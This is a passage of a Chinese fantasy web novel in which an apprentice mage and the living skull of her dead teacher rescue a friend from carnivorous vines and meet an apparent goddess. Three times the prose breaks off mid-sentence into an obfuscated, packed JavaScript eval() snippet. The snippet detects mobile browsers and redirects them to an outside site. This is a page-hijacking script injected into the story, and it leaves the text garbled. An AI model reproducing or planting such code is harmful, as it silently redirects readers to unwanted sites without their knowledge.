格瑞娜的声音就像森林中弥漫的雾气一样虚幻,唯有交握的双手还存有些许实感。 “打猎?伤口是什么导致的啊?骨折的话我好像没有什么立竿见影的药啊……” 芭布拉佯装思索,手悄悄伸进布包的缝隙中摸索,确认头骨的位置。 她确确实实地摸到了坚硬的头骨,但布莱多恩却一直都没有回应她。 她又往颅骨旁边敲了敲,结果敲空了,直接按进了眼眶里。 芭布拉从来没有直接接触过魂火,唯一接触过的就是浑身冒火的南瓜小狗,但那是来自幽冥的冰冷冥火,并非自恶魔灵魂中燃起的火光。 但芭布拉却感觉那无形的火并不像日光般灼烧你的手,也不像夜里的潭水般发冷,而是暖洋洋的,有点像是在摸一只毛茸茸暖乎乎的小鸡仔。 不知道为什么,芭布拉忽然感觉手指像是被烫了一下,她慌忙抽出手,在布包上蹭了蹭,但皮肤没有发红,毫无痕迹。 她的行动引起了格瑞娜的警觉:“怎么了?” “没事没事,好像有什么掉了,但还是乔纳斯的伤比较重要,我们走快点吧!” 格瑞娜愣了一下,转过头去,才回应道:“好。” 脚步落在厚厚的落叶上几乎寂寂无声,于是芭布拉听见了来自格瑞娜的细微抽泣声。 “芭布拉,我要向你坦白一件事情。” “乔纳斯他,并不是纯粹的人……” 芭布拉眨了眨眼,恍然大悟了。 “没……没事?我其实也见过很多非人种族,我没有种族歧视,请不用担心!” 格瑞娜抬起头来,美丽的红发似乎被夜露打湿了,沾染了斑驳的暗色。 “是这样吗?我真的、真的不知道应该如何感谢你……” “那么,就请你代替他吧。” 芭布拉措手不及,就猝然被往后推去。一层又一层堆叠的落叶掩盖了向下的通道,她打了好几个滚,也说不清自己落到了什么地方,只知道自己一头栽进了落叶堆里。 说真的,倒是不怎么痛。 只是很迷茫,她不太明白为什么格瑞娜要这么欺骗她。况且,她也不太相信格瑞娜会有能力阻断传音密文。 四周黑漆漆的,似乎是个洞穴,堆满了落叶,一股浓郁的植物腐烂的气味。她摸出魔杖,但并没有什么邪恶生物跳出来攻击她,也没有什么恶毒的法术突然袭来。 安静得仿佛只有她一个人存在。 哦,等等,好像还有一个。 芭布拉这回终于光明正大地掀开了布包,捧出了布莱多恩。 两只绿得发亮的魂火恶狠狠地盯着她,如果它能够自由活动的话可能马上就要从眼眶里跳出来把它盯着的人统统烧光。 “老师,你为什么不理我?” “哈?你还说!那个女人做了那么多诡异的动作你是都没有察觉到吗居然还傻乎乎地跟着人家走!” 气愤不已的骷髅头忍无可忍,直接从她手上蹦了起来,狠狠地对着芭布拉的额头来了一个头槌。 “啊!”芭布拉追着自由落体的头骨一路小跑,“老师你小心一点自己的身体啦!要修补很不容易的诶——” 不顾骷髅头的严重抗议,芭布拉还是把它捧回了自己的手心。 “这么说,是我们互相听不见彼此的声音吗?好奇怪啊……” “你还伸手摸我的魂火,你想死吗!” 暴怒的黑法师看起来再不哄就要爆炸了,芭布拉立刻乖乖认错。 “对不起老师!我不知道会摸到那里!魂火对于不死族来说一定是很重要的东西吧!” “当然重要——” 骷髅头扭曲了脸庞,嘎吱磨牙,最后喷了口带着烟气的火星。 “算了,我知道你肯定也不是故意的……还不快点离开这里,等着危险找上你吗!” 芭布拉马上乖乖地寻找出口,几乎没怎么费力就看到了刚才她掉进来的洞口,淡淡的光勾勒出粗壮虬结的树根,她攀着树木发达的根系爬出地洞。 她刚一爬上去,就对上了格瑞娜难以置信的眼神。 格瑞娜:“你……你居然上来了?!” 昏暗的森林里唯有几声诡异的鸟鸣,芭布拉有点担心她气急败坏之下会直接把自己推下去,一句话也来不及说就跨着树根往上爬。 “等等,你在下面,有没有看到谁……!” 经常穿梭林间的芭布拉身体还算轻盈,在格瑞娜还没说完之前就爬了上来,并且迅速地远离了危险区域。 格瑞娜几乎是哀求了:“求求你,告诉我吧……” “没有,下面什么也没有,”无辜的少女平静地吐出了残酷的话语,“被魔兽抓住的话也许还能找回来一部分吧。” “不会的,它明明告诉我只要能带来交换的祭品……” 那头耀眼的红发终于被漆黑的阴影所侵蚀,格瑞娜支撑不住,跪坐在芭布拉面前,悲恸地捂住了自己的脸。 “会说人话的魔兽都是骗人的个中好手。” 芭布拉垂下眼睫,伸手触碰了她近在咫尺的发顶。 “……对不起,芭布拉,我怎么会做出这样的事情……” 破碎的歉意从指缝中溢出,格瑞娜像是从一场噩梦中惊醒一般。还没等芭布拉反应过来,她便站起身,跌跌撞撞地奔向不远处的地洞。 “格瑞娜?!” 芭布拉下意识从包里掏出了最为顺手的那个物体,果断扔出。 一起扔出去的还有黑法师的自尊心。 骷髅头骨恶狠狠地击中了格瑞娜的后脑勺,把她打得一个趔趄,摔了一跤。 “芭布拉——!” “芭布拉!” 咬牙切齿的长音来自于被砸晕了的布莱多恩,后一声则来自摔倒在地的格瑞娜。 一根细细的藤蔓缠住了她的脚踝,将她拖入洞中。与此同时,树根也在不住蠕动,阻止着芭布拉的接近。 布莱多恩顾不得隐藏自己,驱动残存的力量飘到芭布拉身后。 “小心点,对方隐藏得很好。” 芭布拉点头,立刻手搓了一个火球术,橘黄色的火光纯粹而强大,所到之处树根与藤蔓都纷纷避让。 “不……不用救我!”格瑞娜忽然叫了一声,“我下去找他。” “开什么玩笑?!” 密林当中经常会有小动物被食肉植物散发的孢子迷惑,看到某些幻觉而慌不择路,最终被藤蔓捕获。 芭布拉在看到那些蠕动的藤蔓时,便回忆起了自己曾经从某只乌鸦口中听到的传闻:森林深处隐藏的奇异魔物群,食肉植物,由一棵参天古木为首,靠着柔韧的枝叶藤蔓与甜美芬芳的气味引诱那些猎物。 她也曾经遇到过,但对魔力敏感无比的魔物很清楚这并不是自己能够招惹的存在,乖巧地收敛了气息。 一段时间没见,这群魔物居然改头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810477|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换面了! 就算在它摇晃藤蔓的此刻,芭布拉也没能从它身上感受到魔力。 火焰落在了格瑞纳面前,消散后四周藤蔓又蠢蠢欲动。 “这可是魔物啊,你会死的!” 芭布拉担心火会溅射到格瑞娜身上,换了另一种精确度更高的元素魔法,但气流击打在粗砺的表皮上,尽管切割开了浅色的伤痕,但对于没有痛感的植物来说完全不会影响它的行动。 藤蔓飞快一卷,将她拖入了方才芭布拉坠入的地洞中。 “格瑞娜!” 芭布拉追着藤蔓往前,毫不犹豫地又跳进了地洞中。 她落入洞中,方才空无一物的地洞此时却布满了不住扭动的绿色藤蔓,放眼望去,根本看不见格瑞娜的踪迹。 “奇怪,刚刚明明还没有这么多的。” 亮着两点幽光的骷髅头慢悠悠地飘了下来,咬牙切齿:“你跑得倒是比以前快得多啊。” “可是老师,格瑞娜——” “她自己不也说了是自愿跳下来的吗?她被食肉植物的香气迷惑了,你难道还看不出来?” “正因为如此,我才必须要帮她啊。” 她眼里自然而然流露出的坚定,让布莱多恩下意识地觉得有些不太舒服。 “……你在反驳我?” “不、不是,”她慌忙摆手,“哎呀,现在说不清楚!来不及了!等我找到格瑞娜我再跟老师解释!” 芭布拉居然真的只留下了这句话就跑开了。 布莱多恩气得原地喷火,但咬咬牙又跟了过去:“你这样盲目地找是没用的!” “冷静!冷静芭布拉!你要学会观察!观察魔力流动的方向。” “虽然这种食肉植物并不会使用魔法,但它们也是通过魔力的运转来维持幻觉,更改人类的意识。” 芭布拉停了下来,像考试前一样念念有词。 “观察,观察。” 而当她冷静下来之后,确实能够从空气中流动的魔力痕迹中看到了所有汇聚的节点。 接下来的一切便迎刃而解了。 其实芭布拉的幻术造诣也不错,甚至能够随意构建魔法术式。问题在于她的施法几乎倾向于本能,又很容易失去冷静,但一旦发现它们的运行规律,她敏锐的直觉就能够看破这其中的隐秘。 在洞穴之下,还有另外一个被树根和藤蔓隐藏起来的空间。 芭布拉的手刚摸到树根表面,就沾了一手黏糊糊的液体。 “是消化液。”布莱多恩嫌弃地飘远了一点。 沿途她发现了仍在挣扎的东西,大大小小的骷髅骨架以及尚未消化完的血肉。那股腐烂的气味让她忍不住咳嗽起来。 粘液从四周的树根中不断分泌而出,没有人会想在这样的地方行走。 芭布拉晃了晃法杖,法杖顶端亮起柔和的光。幸运的是,她很快就从一团藤蔓包裹成的茧中发现了一截红色头发。 藤蔓怕火,芭布拉稍微用火烤了几下,那些藤蔓就依依不舍地退去了。她连忙接住从树壁上掉下来的格瑞娜,但她力气不够,连人带自己一起摔到地上。 坚韧的树壁带着棱角,幸好有藤蔓作为缓冲。芭布拉坐起来,检查了一下格瑞娜的身体,尽管她衣服已经被腐蚀出了好几个大洞,但身上大致还是完整的。 她俯下身,耳朵贴近她的胸膛。有力的心跳像在胸膛中有什么膨胀一样。 芭布拉忽然望向被黑暗遮蔽的树洞深处。 “老师,你有没有听见,有人在叫我?” 12. 1-12 人无法同时踏入同一条河流 “绝对没有。” 布莱多恩斩钉截铁地否认了。他撞了一下芭布拉的后脑勺,发出一声脆响。 芭布拉紧张兮兮地回头:“老师!小心骨头!别敲碎了!” 他停滞片刻。“……我是让你小心一点!你幻术不是学得挺好的吗?怎么还被这种没有思维的魔物迷惑了!”漂浮在半空的头骨上蹿下跳,似乎在跺一种并不存在的脚,“我有那么容易碎吗?不要发出那种大惊小怪的声音!” 芭布拉连连点头,有一瞬间她联想到了家里时常炸壳的南瓜小狗,然后他们的身影就重合到了一起。 “你笑什么?” “没……没有!” 这一打岔,那种模模糊糊的声音似乎不复存在了。 芭布拉挥手将锲而不舍缠绕上格瑞娜脚踝的藤蔓扯到另外一边。她已见识过这些佯装温顺无害的藤蔓贪婪的模样,只想尽快远离这个大张着嘴的树洞。 格瑞娜比她高上一些,芭布拉将她搭上自己的肩膀着实费了一番力气,还用了一个漂浮术。 几根藤蔓又勾住她的脚腕,挽留她的脚步。芭布拉直接踩断了。 她踩在树根交织的地面上,身上的人似乎颤抖了一下。她要醒了吗?芭布拉转过头去,沉睡中的红发女性眼皮颤动,眼珠如同被鲨鱼追咬的鱼群四处逃窜。 不太对劲。她立即松开手,但漂浮术仍然起效,漂浮在半空中的女性躯体中长出了浅绿色的藤蔓,像初生婴儿寻找母亲般紧紧纠缠着她的长发。 芭布拉吓了一跳,用力地抽回头发,那些枝条坠落在地,几根断了的绿色发丝被不停生长的藤蔓吞噬,落地的婴儿学会了匍匐爬行,朝她伸出了娇嫩的新芽。 这诡异的场景并没有让她惊慌失措,她用魔杖的顶端戳了一下那根爬到她脚尖的藤蔓,柔软的茎尚未被坚韧的纤维覆盖,被魔杖挑开后也没有异变。 似乎……真的是一根普通无害的植物。 但在黑魔法中,看似温和无害的术法反而可能更为致命。芭布拉毫不犹豫地搓了一个火球,对准它砸了过去。 炽热的火焰落到藤蔓上,但它却没有像刚才那般避若蛇蝎,而是挥舞着新生的枝叶将火焰团团包裹,芭布拉似乎有种感觉,这些藤蔓似乎被灌注了某种怪异的生命力。 她下意识抬头看了看身侧,原本跟随在她身边的老师居然不见踪迹。 他一颗小小的头骨能跑到哪里去呢?!芭布拉环顾四周,最终确认他真的不在这里。老师是不会犯错的,所以,必定是她陷入了某种幻觉当中。 芭布拉小心翼翼地将视线移回费劲地吞噬火焰的藤蔓上,繁密的藤蔓连接着女性的身体,就算没有漂浮咒,她也被双足中生出的荆棘托举到了半空中,脸上的神情平静而祥和,从枝叶缝隙中伸出的左手直直地指向芭布拉所在的位置。说不清是藤蔓在纠缠她,还是藤蔓组成了她,她似乎生来就与藤蔓与荆棘同为一体。 这绝对不是格瑞娜,甚至可能也不是什么生物。 可在那虬结的荆棘丛中似乎真的有什么在孕育。 一个名字浮现在她的脑海中,但她无法说出那个名字。当她意识到祂存在的时候,黑暗便降临了。 芭布拉第一次听说神的存在是在她刚开始学魔法的时候。布莱多恩那时还没把她送进学徒塔,终日用那双黑眼圈浓重的眼睛注视着眼前的坩埚。 “祂马上就会回应我了……” 黑法师喃喃自语。 他用坩埚中熬制出来的药膏擦在她的额头之上,芭布拉到现在还记得那股带着腐朽树叶的味道,有一些刺激,但更多的是沁人心脾的清凉。黑法师告诉她这是推开分隔现实与灵界界限的药引,只有这样她才能够正式迈入魔法的殿堂。 如今芭布拉已经知道了那股草木气味,就象征着春神。 祂伴生的两种植物分别是代表启迪的千瓣蔷薇与代表坚韧的荆棘,每一个选择魔法的学徒几乎都会选择在祂的引导下向魔法的世界探索。但生长的另外一面,则是沉迷—— 迷失在无穷无尽的知识当中,再也找不到回去的道路,成为祂的狂信徒。 刚开始,迷失者需要用荆棘上的刺擦拭皮肤,直到浑身布满血点才能遏制自己的疯狂。但随着迷失程度加深,迷失者会走向失控的深渊,自身与植物同化,丧失人类的理智,产生自己是植物的错觉。 窸窸窣窣的藤蔓突然停滞,像失去控制的木偶般垂落在地。悄无声息地,荆棘与藤蔓中探出了粉色的花。 荆棘与藤蔓中的千瓣蔷薇是祂的眼,黑暗中祂遍布天空的使徒振动布满鳞粉的肉翼,鳞粉所及之处便是祂的领域。 芭布拉仅仅接触过数位迷失者,最严重的那一个也不过觉得自己是个蘑菇,找了个墙角把自己种了下去。在漫长的传承中法师已经找到了防止迷失的方法,她甚至不太确定眼前的——究竟是祂的狂信徒,还是祂的化身? 女人的掌心中亮起了一点白色的火焰,虚幻的火焰摇晃着,像是光在祂掌中垂死挣扎。 芭布拉沉吟片刻,决定率先出击。她小心翼翼地把法杖尖尖收回来,然后露出了此生不能说最甜美那也是最努力的一个笑容。 “您……您好?” 芭布拉有点犹豫要不要告诉祂自己的名字,如果祂是神祇的话,那么应该会知道她的名字吧?如果自报家门,会不会显得在轻视对方的能力啊? 在她思索的时候,女人平伸而出的掌心中亮起了一点白色的火焰,那火焰虚幻得不像是此世的颜色,尽管微弱但仍然还是在祂掌中跳动。 芭布拉看着那点火光有点失神,一种惆怅的情绪油然而生,她想,就像是光在祂掌中垂死挣扎。 “——可春天不应该是孕育吗?为什么还要加上枯败的白铁莲?” 一片清凉中,她感觉到在额头上移动的指尖,温暖的,属于人类的体温。 “每一种生都对应着一种死,”黑法师的声音听起来遥远而模糊不清,“既然你选择了黑魔法,那么你就只能在阴影里与飞蛾起舞。地上的枝叶依赖着地底的根须,你的知识与生命,也需要从祂们手中掠夺。” 从成为法师的那一天开始,芭布拉就隐隐感觉也许有一天神明会从天上下来惩罚一下她这个不告而取……公然夺取的强盗。 但她没想到居然这么快。 神真的从天上,额不,从地里爬出来惩罚她了!!! 可祂除了一开始就没有多大的动作,也许并没有多大的敌意?尽管她还将亡灵强行从费安莱蒂带回了现世,但她一生也从未做过太多坏事,再说,哪怕是神,也许──祂也能理解失去重要的人的感受,也许神明也会理解她的? “如果您真的要降下神罚,我就不会有机会走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810478|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您面前。这、这位尊敬的神明,我并非您的信徒,但我对您仍然怀有崇高的敬意……我愿意弥补我的过错,只要您降下清晰的神谕……” 无论她怎么说,那被荆棘缠绕的人形只是沉默地伸着手。 一个念头忽然出现在她脑海──祂在向她索取一件东西。 芭布拉下意识地抓紧了手。原本,她手里握着的应当是她的魔杖,方才她还用魔杖指着那些藤蔓发射火球……可手中的触感完全变了一个形状。 她低下头,发现原来遍寻不见的头骨就在自己的手里紧紧抓着,可这个骷髅头缺乏最重要的灵魂,眼眶中空无一物。那应该熊熊燃烧直到时间之河流淌到尽头的不灭之焰,被她亲手送到了对方手上。 祂甚至还在向自己索取灵魂依附之物! 不! 还给我! 意识到这一点,她立刻追了过去。 手指隐入了不可见的界限,她失去了对那一部分肢体的操控,完全感受不到手指的存在。但芭布拉仍然固执地操纵着肩膀往更深处探去,凭着勇气一脚踏入了未知的领域。 她听见了水流声,在祂与现实之间,存在一条更深邃、更无边无际的湍流。 “费安莱蒂,所有亡灵沉睡之所,同时也是神明的居所。”布莱多恩的声音在她耳边回响,“那是掌控世间运行规律的存在,魔法即是他们冠冕上珠宝投下的光影,你选择魔法,走向了这一条路,那么,谨记:可以向祂们祈祷,可以向祂们许愿,但不要与祂们交易。” 哪怕她现在跳入这条时间之河,恐怕也无法从中找到那一点火光。 那是环绕着现实与灵界的漫长河流,数不胜数的亡灵与不死生物游荡其中,芭布拉花费了十几年的时间才从布莱多恩留下的典籍中找到从亡者之河中定位他的办法。 失去却只需要一瞬。 冰冷的怒火从胸膛中熊熊燃起,芭布拉来不及想太多,完全踏入了这条看不见的河流。那一瞬间,时间如同浪潮般迫不及待地吞没她,眼前浮现出的画面被反复击碎,拉扯,光怪陆离的漩涡从她身边经过,头也不回地离开。 芭布拉义无反顾地奔跑。时间不会阻止,它只是如锋利尖刀,从她身上割下她珍藏的某段回忆。 她忘记了努力学会的魔法,她想不起自己的名字,她甚至忘记了自己为何而奔跑。 只有一个念头始终回响,并且随着记忆的流失越来越强烈。 ──还给我!!! 她向着荆棘人形伸出手,在这么短的距离中,她似乎看到了荆棘中隐藏的人眼,那双眼睛黑白分明,带着浓浓的悲悯。就在她触及祂的前一瞬间,荆棘消失了。 只剩她停在原地,双手茫然地悬在半空中。 奇怪,我在这里做什么? 奇怪,我是谁呢……? 最后的那个念头在时间的锤打下似乎已经黯淡无光,她快要抓不住的时候,有一只手握住了她的手指。 只是轻轻地勾住了她的指尖,但并不影响芭布拉勾勒出那只温热的,柔软的,充满生命力的手的形状,让她想起一个午后,她微仰着头,紧紧闭着眼睛,额头上是苦涩的草木气味。长袍宽大的袖子移动间带起微弱的气流,于是她从那片苦涩中嗅到了让她安心的气味。 “……老师?” 她不敢用力,害怕这只是一个梦境。 13. 1-13 芭布拉不愿意醒来。 这双手的温度和触感是那么的真实,尽管她知道这只不过是发生在想象当中的幻影。 他牵着她往前走,他抬起头来看着黑袍的背影,她现在好像只能够到他的腰。 芭布拉顺从地跟着他,他们逆流而上,穿过平静的河流。 温柔的水波拂过她的脸,她一件件地回忆起来了关于他的一切。 一个流落荒野的小女孩,谁都知道这是怎么回事。她的父母也许都死了,或者希望她以为自己死了。荒野上从来不缺无家可归之人。 数十年如一日穿着他宽大黑袍的黑法师苍白的脸出现在她视线里,他看着她,发出了一句司空见惯的感慨。 “哦,一个病得要死的小鬼。” 阴影停留了一会儿,旋即离开。 “算了,突然想到有个课题正好需要一个……”他伸出手,“能自己站起来?” 瘦小的、粗糙的、布满伤痕的手小心翼翼放在了那只可以将它完全包裹住的苍白的手掌上,那双手上的凉意就像幽灵一样潜入了她的身体,她突然回忆起了一个被她遗忘的词。 这是冷。 一只冰冷的手。 很久以后,芭布拉意识到自己的记忆力似乎也被留在了那片荒野之上。她会突然地忘记一些事情,昨天刚学过的咒语今天就想不起来了,上个月种在法师塔顶的星星花在风中摇曳,却再也等不来为它浇水的人。 老师在的时候,他还会经常提醒她。可他不在以后,芭布拉甚至会忘记他的名字。 她只好收藏起那些任何跟他有关联的物品,每当她看见它们,她就能够回想起当时的情景。 她就不会忘记他。 “老师……” 可是路已经走到了尽头,她能从晃动的水波看到外界。 芭布拉来不及说话,背上就被推了一下,将她推向了冥河与现实的交界。 她被迫不及待地吐了出来。 冥河的水是高浓度的魔力凝液,尽管有相当一部分生物赖以为生,但当它以这种形态出现的时候,几乎是生命克星。 此时芭布拉终于感觉到了被腐蚀的痛楚,涌入喉咙的水流使她费力地咳嗽起来。 凭借着多年以来黑法师学徒的魔抗体质,高纯度的魔力也仅仅侵蚀了部分没被布料遮掩的皮肤。 但她无视了自己的伤口,而是焦急地寻找着另一个身影。 “老师!” 那对魂火实在太好分辨,而芭布拉的呼唤似乎也打破了某种屏障,在原地转圈圈的布莱多恩一下子找到了方向。 高傲的黑法师怒不可遏,一方面因为自己的弱小,另一方面则是因为事态的不可控制。 紊乱的魔力,遍布四周的烧灼痕迹,无一不显示出这里有过一场战斗。 唯一的好消息是——他的小学徒是赢家。 她手里还紧紧抓着什么东西,布莱多恩飘近一看,居然是一段很眼熟的臂骨。 “——我的骨头!”他的魂火喜滋滋地膨胀了一下,“不错嘛,芭布拉,很能干啊!” 芭布拉绿色的眼睛呆呆地注视着他,好一会儿,她才眨了一下眼睛。 “老师?你回来了?” 布莱多恩心虚:“嗯……嗯……其实,我一直都在……” 这句话似乎按下了什么开关,芭布拉顿时哭了出来。 “老师,你、你保护了我!” 布莱多恩:? “等、等下,我好像也没做什么吧?” 他往左边飘了飘,那里躺着格瑞娜。 “那些藤蔓随便烧一下就跑了,但不知道为什么你不见了……” 芭布拉开始给他描述刚刚发生的事情,他惊得直吸冷气。 最后听到那双手的时候,布莱多恩才连连质疑。 “这不可能!绝无可能!要是发生过这种事情我怎么可能不知道!” “我不会认错的,老师。” 面对小学徒亮晶晶的小眼神,布莱多恩头一痛,立刻转移了话题,准备清算今天发生的一切。 “……咳,无论你遇到的是幻象,还是货真价实的春神,都不算很严重的事。但前提是以前的我在!”他语气加重,老师的气势顿时压倒了芭布拉,“你看看你!黑魔法一窍不通!唯一会的还只能拿来杀鱼!就这样你还敢深入陌生的地方!” “对不起,老师!” 但他不再是以前那个可以一边训话一边放冷气的黑法师了。芭布拉抬起头,对着小骷髅头骨眨了眨眼。 “……可是,格瑞娜她帮了我很多,她教会我如何在这里生存下来,我不能让她一个人涉险。老师,你说过的吧,黑法师想做什么就做什么,不需要遵守任何规则!” “我是这么说过……” 但他这句话是用在抢劫完某城主的金库之后的啊。 布莱多恩叹了口气。 就像她会救他一样,她也会努力地向身边的人伸出手。 芭布拉小心端详了一下他的脸色(虽然只有骷髅头,但芭布拉总能从他眼眶中的魂火中察觉出他的心情),扭捏了一下,才说: “老师,这就是我想向你解释的事情——我很怀念以前的生活。你总是像法师塔一样守卫着我们,虽然我对研究和学习黑魔法一窍不通啦……但是,只要有老师在,让我做不擅长的事情也可以。” “可是,老师不在以后,我想通了很多。如果我永远躲在老师的守护之下,那么我就永远也看不清这些事情。” 啊,一只想要离巢的幼鸟。 布莱多恩惊异地发现,是的,这个看起来笨笨的学生,似乎也会有属于她自己的想法。她终究会像其他所有的学徒一样走上自己的道路。 布莱多恩并不在意学徒们私底下想做什么,他们只要完成他的布置的课题就行。想要离开也无所谓,只要他能够从黑法师手里取回他的契约。 但如果是她想做的事情,也许他可以稍微了解一下。 “那你的梦想是什么?”他不动声色地飘到她耳后,“什么都可以,我都会为你实现。” “梦想?” 她的眼睛亮了一下,但当落到布莱多恩身上的时候,又立即垂下了视线。 “我、我想让老师复活。” 伪装。布莱多恩毫不费力地就分辨出了她话中的不自然。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810479|175212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “然后呢?” “嗯——”她拖长了尾音,“然后啊,然后我们就可以像以前一样啊。” “像以前一样?” 布莱多恩顺着她的话回忆起以前。亡灵的记忆苍白而粗略,他发现自己只能在那苍白的河流中截取到一些简单的片段。 那时他总喜欢在研究室里研究那些没了没了的课题。人类的好奇心迫使他不停地往前,他也不在乎法师塔里一个乖巧的学徒在做些什么。 她好像会很认真地完成自己给他布置的课题。每次从研究室出来的时候总能够第一眼看到她守在门外。 习惯是很可怕的。而死亡也是。 当她提到未来的时候,布莱多恩惊讶地发现自己对于未来竟然没有了太大的期待,也许亡灵真的不存在未来。 只能存在于过去,以及由过去延伸而来的现在,依附着那些执着于过去的人。 芭布拉没听到他的回应有些慌张:“老师,难道你觉得这样不好吗?” “没事,”但他的恍惚只是瞬间,很快,他就把话题引向了另外一个方向,“我是指你自己,你自己的梦想,想要什么,或者想成为什么样的人之类的。” “我自己?”他停顿了很久,最后才用一个小心翼翼的疑问句来回答,“……我只是想过像格瑞娜那样的生活?大家都喜欢她,她的脸上每天都带着笑容,她好像一醒来就知道自己能做什么,要做什么,能把生活里的一切都处理得井井有条。” “……嗯?光是这样,我也可以吧?” “老师,你忘记你把自己最喜欢的那一条晚礼服洗坏了的事情吗!” “?你说什么胡话?从来没有发生过这样的事情!再说——你就只想要这样的东西?难道你没有信条,没有目标,也没有野心吗?” “像这样生活不算吗?” “当然!你这是甘于平凡!像我这种伟大的天才怎么可能寂寂无闻地过有一天没一天的日子呢?” 芭布拉立刻笑了出来。 “是啊,只要在您的身边的话,就一点也不平凡啊。” 话题又回到了他身上。 布莱多恩气得几乎快要跟她一起笑起来了。 “芭布拉,你好像还什么都没有发觉。” “从你决定复活我的那一天开始,你的未来就已经注定是动荡不安的了。” “只要一着不慎,你的命运就再也没办法和我分开。” 他原本是想要再说一些严肃的东西的。可他不小心看到了那张白皙的脸像被点燃一样泛红,终于还是忍不住了: “……你在脸红什么啊!我的意思是你再也不能洗白了!” “没、没关系啊,我就是黑法师的学徒嘛。” “不仅仅是这样。你会被打上残党的烙印,被白塔法师追杀——” “老师,时代变了!” “教会已经宣布不再禁止黑袍法师,只要提前申报,经过审核的话,之前的研究也可以继续完成了。白塔管得再宽,也不能插手教会的地盘啊。” 芭布拉手忙脚乱地辩解,像一只离群的蜜蜂。 “不要再抛下我了,好吗,老师?” 14. 1-14 没有你存在的美梦 庞丁并不是那些没有见识的深渊乡巴佬,它也曾经在大世界中肆虐横行。除去恶魔们都很喜欢的后悔和仇恨,他也有一些生僻的喜好。 就比如少女的辗转心事,虽然有点酸,但是偶尔调剂一下,也挺好吃的。 “走开!不要用你的触手摸我!” “……我只是闻一下!”火舌恋恋不舍地舔了舔南瓜壳,“啊,有点酸涩,但是又带着一点甘甜的回香,多么美妙的味道,我对你彻底改观了,黑法师。” “我也对你改观了,快走开,变态!” 骷髅架子不耐烦地挥手,但庞丁锲而不舍,像只真正的小狗一样蹲在它身边疯狂吐舌。 “如果之后你能一直散发出这种好吃的味道的话,我也不是不能和你契约……难怪你们会成为师徒,嗯,我理解了,我完全理解了!” 布莱多恩挪了挪腿骨,让自己远离这个突然就兴奋起来了的黑暗生物。 他在反思自己的教育。 究竟是怎么样的脑回路,才会让她觉得是被抛弃了?当时那种环境……那可是几乎倾巢出动的白塔哦?到底什么叫做“不要再丢下我一个人啊”!死掉的不是我吗?! 布莱多恩满腔疑问无人能说,最后只能给了旁边的庞丁一脚。 “不要再舔了你这恶心的恶魔!” 庞丁一下就膨胀起来:“收回你这句话!鄙人乃是十七层深渊之下的大恶魔,和那些只能在浅层深渊徘徊的低级物种可不一样——!” 一骨一狗嬉戏打闹的时候,格瑞娜还在沉睡,紧皱的眉头显示了她的梦境并不平静。 坐在她床前的芭布拉,手里拿着一个水晶球。 她很担心格瑞娜,有记载以来,被神选中的化身总会患上各种各样的后遗症。 不知所措的小学徒从厚重的法典里翻出了一个古老的魔法,通过水晶球来观测和引导入睡者的梦境,而她当然是想让格瑞娜做一个美梦。 作为一个黑法师的学徒,她还是第一次使用水晶球来施法。 她用手指指出法典上那句拗口的咒语,一字一句地吟唱。 水晶球内渐渐浮现出了模糊的画面。 一对正在狂奔的男女,频频回头张望,似乎身后有着恐怖的怪物。他们面目模糊,仅能从体型上加以分辨。 他们跌跌撞撞地跑出密林,摔倒在草地上,迎接他们的是和平的村庄。他们约定不再进入那片森林,自此以后就过上了平淡的生活。 每次当格瑞那回到家的时候,他总会走出店门去接她回来。 他们还准备攒钱买一台来自炼金工坊的自动喷雾机——已经攒了三分之二的价格,也许只差一场大丰收。 芭布拉看了许久,忽然意识到—— 这个美梦里,有喜欢烘焙的苏西婆婆,有调皮捣蛋的小丹妮,有沉默寡言的木匠,还有脸上总带着动人微笑的修女。 但是没有终日弥漫着浓雾的黑森林,也没有那些潜伏在阴影中的魔物。 ……也没有森林里的小木屋,也没有她。 水晶球颤了一下,从芭布拉的手中滑落,咕噜噜地滚进了床底。 芭布拉几乎是逃出房间的,她“哒哒哒”踩过木质的地板,在屋檐下看见互掐的骷髅与狗。 准确来说,是臭不要脸伸出长长的火舌骚扰不厌其烦骷髅的鬼火狗。 她还是忍不住笑了一下。 “好啦好啦!快点走吧!赶紧回家啦!”她一手拉一个,轻而易举地阻止了这场凶残的战斗。 “你解决好了?”骷髅装作漫不经心地看过去。 “解决好了!” “额……但在下闻到了苦涩的泪水。”小狗呸呸两声,“放开放开!我不喜欢这个味道!!” 庞丁毫不留恋地从她身边跑开,尽管它并不太认得乡间的道路,但芭布拉并不是很担心,契约会指引它回到小屋。 芭布拉看着南瓜小狗消失,忽然垂头丧气地问了一句,“我是不是想得太理所当然了?” “别这么说,芭布拉,如果你承认改变不了这个世界,那你只能被它改变。” 